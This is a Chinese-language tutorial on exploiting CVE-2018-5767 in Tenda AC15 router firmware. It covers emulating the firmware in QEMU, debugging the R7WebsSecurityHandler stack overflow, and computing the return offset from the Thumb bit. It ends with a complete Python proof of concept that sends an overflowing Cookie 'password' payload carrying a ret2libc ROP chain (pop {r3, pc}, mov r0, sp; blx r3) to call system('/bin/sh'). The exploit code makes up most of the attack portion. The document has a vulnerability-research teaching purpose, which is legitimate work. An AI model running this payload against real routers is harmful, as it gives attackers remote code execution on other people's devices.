ARM栈溢出 TENDA CVE-2018-5767
IoT固件仿真的基础方法及排错思路。
对ARM架构栈溢出漏洞的利用和调试方法。
1.实验目标
分析的漏洞为CVE-2018-5767,是一个输入验证漏洞,远程攻击者可借助COOKIE包头中特制的‘password’参数利用该漏洞执行代码。
固件下载地址:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
2.固件仿真
首先使用binwalk导出固件文件系统,并通过ELF文件的头信息判断架构,得知为32位小端ARM。
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
readelf -h bin/busybox

可以看见该文件是 32位 arm架构
用chroot ./ ./qemu-arm-static ./bin/httpd 模拟运行一下发现会卡住
#安装qemu和arm的动态链接库
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
mips
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
根据输出的字符 Welcome to … 寻找目标函数 , 并且将这里打patch为 1



修改完后保存

再次运行程序。发现打印的端口不对,设计虚拟网卡。
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0

3.漏洞分析
溢出点在R7WebsSecurityHandler函数中。ida可以直接按f5反编译arm架构的代码。
这里进行scanf时没有限制大小,所以存在溢出漏洞

我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行。
现在我们用 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd,用qemu挂载到1234端口上运行,并且用ida进行连接调试。
gdb-multiarch ./bin/httpd
target remote :1234
continue
使用python requests库来构造HTTP请求,代码如下:
import requests
url = "http://192.168.2.108/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
可以发现我们通过溢出修改了一些寄存器的值,但是现在只是造成了拒绝服务,而不能执行命令。

用 bt 来看看栈中有哪些函数

跟踪0x0002c5cc,发现位于sub_2C568函数中,而该函数在我们缓冲区溢出后将被执行。

观察可以发现,利用这个if如果是false,那么可以直接return ,从而利用栈溢出。
这段代码寻找“.”号的地址,并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时,memcmp(v44, “png”, 3u)的返回值为0,if语句将失败。
而这段字符串的读取地址正好位于我们溢出覆盖的栈空间中,所以在payload的尾部部分加入该内容即可。于此同时,我们使用cyclic来帮助判断到返回地址处的偏移量。
import requests
url = "http://192.168.2.108/goform/xxx"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=url, cookies=cookie)

需要特别注意,崩溃的返回地址显示是0x6561616c(‘laae’),我们还需要观察CPSR寄存器的T位进行判断,CPSR寄存器的标志位如下图所示。

这里涉及到ARM模式(LSB=0)和Thumb模式(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。如下图所示,发现T位值为1,因此需要在之前报错的地址上加一还原为0x6561616f(‘maae’)。
我们可以在函数最后返回的pop指令处(0x2ed18)下断点进行辅助判断。如下图所示,可以看到PC原本将被赋值为“maae”。因此偏移量为448。
4.漏洞利用
大多数程序都会加载使用libc.so动态库中的函数,因此可以利用libc.so中的system函数和一些指令片断(通常称为gadget)来共同实现代码执行。需要以下信息:
将system函数地址写入某寄存器的gadget;
往R0寄存器存入内容(即system函数的参数),并跳转到system函数地址的gadget;
libc.so的基地址;
system函数在libc中的偏移地址;
这里我们假设关闭了ASLR,libc.so基地址不会发生变化。通过gdb中执行vmmap查看当前libc.so的加载地址

带有-x执行权限的就是libc基地址

system函数的偏移地址读取libc.so文件的符号表,命令为:readelf -s ./lib/libc.so.0 | grep system,得到0x0005a270。
接着寻找控制R0的指令片断:
gadget2:
sudo pip3 install ropgadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
这条指令会将栈顶写入R0,并跳转到R3寄存器中的地址。因此再找一条可以写R3的指令即可:
gadget1:
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
最终payload格式为:[offset, gadget1, system_addr, gadget2, cmd] ,流程如下
溢出处函数返回跳转到第一个gadget1(pop {r3, pc});
出栈 r3,pc


system被保存r3中,而pc指向了gadget2。
栈顶第一个元素(system_addr)弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
此时的栈顶内容(cmd)放入R0寄存器,并使程序跳转到R3寄存器指向的地址去执行。

最后指向system,并且r0传递参数
poc如下:
#!/usr/bin/python2
import requests
from pwn import *
cmd="/bin/sh\x00"
libc_base = 0xff5d5000
#libc_base = 0xf65e5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset # 0xff62f270
gadget1 = libc_base + 0x00018298 # 0xFF5ED298 pop {r3, pc}
gadget2 = libc_base + 0x00040cb8 # 0xFF615CB8 mov r0, sp ; blx r3
payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.183.138/goform/exeCommand"
cookie = {"Cookie": "password="+payload}
requests.get(url=url, cookies=cookie)
参考资料 :
https://www.anquanke.com/post/id/204326#h2-3
https://blog.csdn.net/weixin_45309916/article/details/107837561




